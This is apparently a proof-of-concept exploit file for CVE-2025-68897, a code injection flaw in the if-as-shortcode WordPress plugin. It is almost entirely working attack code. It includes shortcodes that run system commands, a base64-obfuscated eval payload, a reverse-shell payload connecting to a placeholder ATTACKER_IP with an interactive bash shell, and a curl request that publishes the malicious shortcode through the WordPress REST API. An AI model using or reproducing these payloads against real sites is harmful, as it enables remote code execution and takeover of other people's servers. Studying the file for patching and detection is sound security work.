CVE-2025-68897

<?php /** * CVE-2025-68897 PoC - IF AS Shortcode Code Injection * Target: WordPress with if-as-shortcode plugin <= 1.2 * Author: Security Researcher * Description: Authenticated code injection via shortcode */ // Method 1: Using shortcode in post content $poc_shortcode = "[if-as condition='system(id);'][/if-as]"; // Method 2: Using shortcode with PHP code execution $poc_shortcode_php = "[if-as condition='eval(base64_decode('c3lzdGVtKCdpZCB8fCB3aG9hbWknKTs='));'][/if-as]"; // Method 3: Reverse shell payload $reverse_shell = "[if-as condition='$sock=fsockopen(\"ATTACKER_IP\",PORT);exec(\"/bin/bash -i <&3 >&3 2>&3\");'][/if-as]"; // HTTP Request PoC using cURL /* curl -X POST 'https://target.com/wp-json/wp/v2/posts' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <USER_TOKEN>' \ -d '{ "title": "Malicious Post", "content": "[if-as condition=\"system(id);\"]Test[/if-as]", "status": "publish" }' */ echo "PoC for CVE-2025-68897\n"; echo "Use shortcode: [if-as condition='system(id);'][/if-as]\n";

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